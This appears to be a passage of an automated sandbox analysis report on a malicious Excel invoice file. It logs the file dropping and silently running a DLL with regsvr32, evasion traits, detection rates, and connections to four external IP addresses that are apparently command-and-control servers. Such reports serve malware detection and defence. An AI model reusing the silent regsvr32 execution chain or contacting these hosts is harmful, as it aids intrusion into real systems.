Source: k04qkvqu[1].zip.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: k04qkvqu[1].zip.0.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: DWWIN.EXE, 00000006.00000002.2229851737.0000000003570000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal100.expl.evad.winXLSM@9/21@1/5

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$INV8073565781-20210111319595.xlsm

Jump to behavior

Source: C:\Windows\System32\DWWIN.EXE

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2300

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRC7A2.tmp

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\DWWIN.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\DWWIN.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: INV8073565781-20210111319595.xlsm	Virustotal: Detection: 44%
Source: INV8073565781-20210111319595.xlsm	ReversingLabs: Detection: 32%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\cjrumqtd.dll.
Source: unknown	Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\cjrumqtd.dll.
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\DW\DW20.EXE 'C:\PROGRA~1\COMMON~1\MICROS~1\DW\DW20.EXE' -x -s 1016
Source: unknown	Process created: C:\Windows\System32\DWWIN.EXE C:\Windows\system32\dwwin.exe -x -s 1016
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\cjrumqtd.dll.	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Program Files\Common Files\Microsoft Shared\DW\DW20.EXE 'C:\PROGRA~1\COMMON~1\MICROS~1\DW\DW20.EXE' -x -s 1016	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\cjrumqtd.dll.	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\DW\DW20.EXE	Process created: C:\Windows\System32\DWWIN.EXE C:\Windows\system32\dwwin.exe -x -s 1016	Jump to behavior

Source: C:\Windows\System32\DWWIN.EXE

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{713AACC8-3B71-435C-A3A1-BE4E53621AB1}\InProcServer32

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: OK
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: INV8073565781-20210111319595.xlsm	Initial sample: OLE zip file path = xl/media/image2.png
Source: INV8073565781-20210111319595.xlsm	Initial sample: OLE zip file path = xl/printerSettings/printerSettings2.bin

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: INV8073565781-20210111319595.xlsm

Initial sample: OLE indicators vbamacros = False

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 4_2_10002140 LoadLibraryA,GetProcAddress,VirtualAlloc,VirtualAlloc,VirtualAlloc,

4_2_10002140

Source: k04qkvqu[1].zip.0.dr	Static PE information: section name: .rdata3
Source: k04qkvqu[1].zip.0.dr	Static PE information: section name: .2
Source: k04qkvqu[1].zip.0.dr	Static PE information: section name: .rdata2
Source: k04qkvqu[1].zip.0.dr	Static PE information: section name: .text4

Source: unknown

Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\cjrumqtd.dll.

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_1000400A push esi; retf	4_2_1000401D
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_10010810 pushfd ; retf	4_2_1001084E
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_1000D856 push ebp; retf	4_2_1000D85E
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_1000C265 push 588A19FDh; iretd	4_2_1000C278
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_10020A73 push edx; iretd	4_2_10020A9C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_1000FEBF push eax; iretd	4_2_1000FEC0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_1000E8F3 pushad ; iretd	4_2_1000E8F4
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_1000FEFA push 00000000h; iretd	4_2_1000FF10
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_10023EFF push eax; iretd	4_2_10023F64
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_1000C304 push 588A1BCDh; iretd	4_2_1000C314
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_10010307 push esp; retf	4_2_10010308
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_1000CF15 push 0000002Dh; iretd	4_2_1000CF1C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_1001DB23 push eax; iretd	4_2_1001DB34
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_10020B27 push eax; iretd	4_2_10020B28
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_10002140 push ecx; ret	4_2_100021B6
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_1001CD9B push esp; retf	4_2_1001CDB0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_1000DFC7 pushad ; iretd	4_2_1000DFC8
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_10023FEB push edx; ret	4_2_10024001
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_100107FB pushfd ; retf	4_2_1001084E
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_001CBFB0 push edx; ret	4_2_001CC269
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_00197172 push dword ptr [ebp+ecx*8-49h]; retf	4_2_00197176
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_001B62CD pushad ; iretd	4_2_001B62E5
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_001AF6CD push esi; ret	4_2_001AF6D7
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_0019899D push 00000369h; ret	4_2_00198A28
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_001989CD push 00000369h; ret	4_2_00198A28
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_001BFB74 push esi; ret	4_2_001BFB8B
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_00191D11 push FFFFFFD5h; ret	4_2_00191D18
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_00190E8F push esi; ret	4_2_00190E94

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Temp\cjrumqtd.dll			Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\k04qkvqu[1].zip			Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\k04qkvqu[1].zip

Jump to dropped file

Source: C:\Windows\SysWOW64\regsvr32.exe

Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\DW\DW20.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\DW\DW20.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\DW\DW20.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\DWWIN.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 4_2_001A88DD rdtsc

4_2_001A88DD

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\k04qkvqu[1].zip

Jump to dropped file

Source: C:\Windows\SysWOW64\regsvr32.exe TID: 2856	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -760000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -918000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -173000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -825000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -393000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -372000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -242000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -142000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -264000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -324000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -266000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -298000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -432000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -620000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -870000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -280000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -254000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -306000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -151000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -1424000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -507000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -290000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -516000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -355000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -716000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -632000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -167000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -678000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -531000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -572000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -168000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -512000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -1548000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -260000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -342000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -369000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -1264000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -277000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -250000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -830000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -302000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -314000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -333000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -484000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -417000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -564000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -281000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -267000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -161000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -308000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -340000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -530000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -520000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -580000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -261000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -326000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -264000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -312000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -636000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -324000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -154000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -438000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -441000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -350000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -322000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -552000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -338000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -279000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -578000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -274000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -465000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -348000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -320000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -399000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -327000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -488000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -336000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -164000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -287000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -314000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -148000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -258000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -250000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -296000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -249000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -288000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -346000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -344000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -276000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -259000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -176000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -252000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -257000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -136000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -341000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -271000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -321000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 3000	Thread sleep time: -358000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\DWWIN.EXE TID: 2908	Thread sleep time: -60000s >= -30000s	Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 4_2_001A88DD rdtsc

4_2_001A88DD

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 4_2_10002140 LoadLibraryA,GetProcAddress,VirtualAlloc,VirtualAlloc,VirtualAlloc,

4_2_10002140

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_001CB5D0 mov eax, dword ptr fs:[00000030h]		4_2_001CB5D0
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 4_2_001CB6E0 mov eax, dword ptr fs:[00000030h]		4_2_001CB6E0

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\regsvr32.exe	Network Connect: 80.86.91.27 236	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Network Connect: 5.100.228.233 61	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Network Connect: 46.105.131.65 232	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Network Connect: 77.220.64.37 187	Jump to behavior

